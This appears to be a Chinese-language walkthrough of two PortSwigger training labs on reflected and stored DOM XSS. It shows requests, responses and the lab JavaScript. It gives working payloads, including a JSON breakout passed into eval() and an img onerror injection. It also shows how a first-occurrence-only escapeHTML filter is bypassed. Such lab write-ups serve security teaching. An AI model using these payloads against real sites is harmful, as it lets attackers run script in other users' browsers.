DOM XSS with reflected and store

Reflected DOM XSS

目標網站有xss漏洞,在請求中注入\"-alert(1)}//可確認xss漏洞,分析如下

################# request #################
GET /?search=%5C%22-alert%281%29%7D%2F%2F HTTP/2
...omit...

################# response ################# 
...omit...
<script src='/resources/js/searchResults.js'></script>
<script>search('search-results')</script>
<section class="blog-header">
</section>

從返回內容發現會去讀取/resources/js/searchResults.js,內容如下

function search(path) {
var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            eval('var searchResultsObj = ' + this.responseText);
            displaySearchResults(searchResultsObj);
        }
    };
xhr.open("GET", path + window.location.search);
xhr.send();

    function displaySearchResults(searchResultsObj) {
        var blogHeader = document.getElementsByClassName("blog-header")[0];
        var blogList = document.getElementsByClassName("blog-list")[0];
        var searchTerm = searchResultsObj.searchTerm
        var searchResults = searchResultsObj.results

        var h1 = document.createElement("h1");
        h1.innerText = searchResults.length + " search results for '" + searchTerm + "'";
        blogHeader.appendChild(h1);
        var hr = document.createElement("hr");
        blogHeader.appendChild(hr)
...omit...

根據述上的js,會在發一個請求到search-results,如下

################# request #################
GET /search-results?search=%5C%22-alert%281%29%7D%2F%2F HTTP/2
...omit...

################# response ################# 
...omit...
{"results":[],"searchTerm":"\\"-alert(1)}//"}

返回內容會等於searchResults.js內的this.responseText,並被eval('var searchResultsObj = ' + this.responseText);這段執行

由於-做了分隔,因此searchResultsObj 最後只讀取前半段的"results":[],"searchTerm":"\\",後半段的alert(1)}//”}會被eval()執行

如果透過chrome inspect看宣染結果,可以發現searchTerm是空的,但實際上alert(1)己經執行

<section class="blog-header">
    <h1>0 search results for 'NaN'</h1><hr>
</section>

Lab: Reflected DOM XSS


Stored DOM XSS

儲存<img src=1 onerror=alert(1)>在留言區

POST /post/comment HTTP/2
Host: 0abf000604c5e7b5808f3f4500fa00dd.web-security-academy.net
...omit...
csrf=9kAsinFgs3nFyfU1Nxg1hy7NDUxTYM4I&postId=4&comment=%3Cimg+src%3D1+onerror%3Dalert%281%29%3E&name=aaa&email=aaa%40aaa&website=

並訪問剛儲存的頁面

################ request ################ 
GET /post?postId=4 HTTP/2
...omit...

################ response ################ 
...omit...
<script src='/resources/js/loadCommentsWithVulnerableEscapeHtml.js'></script>
<script>loadComments('/post/comment')</script>
...omit...

從返回內容發現會去讀取/resources/js/loadCommentsWithVulnerableEscapeHtml.js,內容如下

function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(html) {
        return html.replace('<', '&lt;').replace('>', '&gt;');
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let avatarImgElement = document.createElement("img");
            avatarImgElement.setAttribute("class", "avatar");
            avatarImgElement.setAttribute("src", comment.avatar ? escapeHTML(comment.avatar) : "/resources/images/avatarDefault.svg");

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(avatarImgElement);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = escapeHTML(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};

根據述上的js,會在發一個請求到/post/comment,如下

############ request ############
GET /post/comment?postId=4 HTTP/2
...omit...

############ response ############
...omit...
{"avatar":"","website":"","date":"2024-02-15T09:28:25.629590251Z","body":"<img src=1 onerror=alert(1)>","author":"aaa"}

從返回結果可以看到讀取<img src=1 onerror=alert(1)>

使用chrome inspect也可以看到有渲染成功

<p><img src=1 onerror=alert(1)></p>

但是chrome卻不會彈出任何信息,這個xss是無效的

分析原因後可以發現,/resources/js/loadCommentsWithVulnerableEscapeHtml.js內有一個過濾機制如下

    function escapeHTML(html) {
        return html.replace('<', '&lt;').replace('>', '&gt;');
    }

上述安全機刺會將<>做轉義

但是,這個安全機制有個小問題,當第一個參數是字串時,函數僅替換第一次出現的位置,因此只要多提供<>,之後就會做轉義了,因此需要將XSS改為<><img src=1 onerror=alert(1)>,儲存後在重新讀取一次如下

############ request ############
GET /post/comment?postId=4 HTTP/2
...omit...

############ response ############
...omit...
{"avatar":"","website":"","date":"2024-02-15T09:38:25.629590251Z","body":"<><img src=1 onerror=alert(1)>","author":"aaa"}

從返回結果可以看到讀取<><img src=1 onerror=alert(1)>

使用chrome inspect也可以看到有渲染成功

<p>
"<>"
<img src="1" onerror="alert(1)">
</p>

第一個<>因為被轉義,所以被當成字符串,第二個則被當做代碼的一部份,並成功執行XSS

Lab: Stored DOM XSS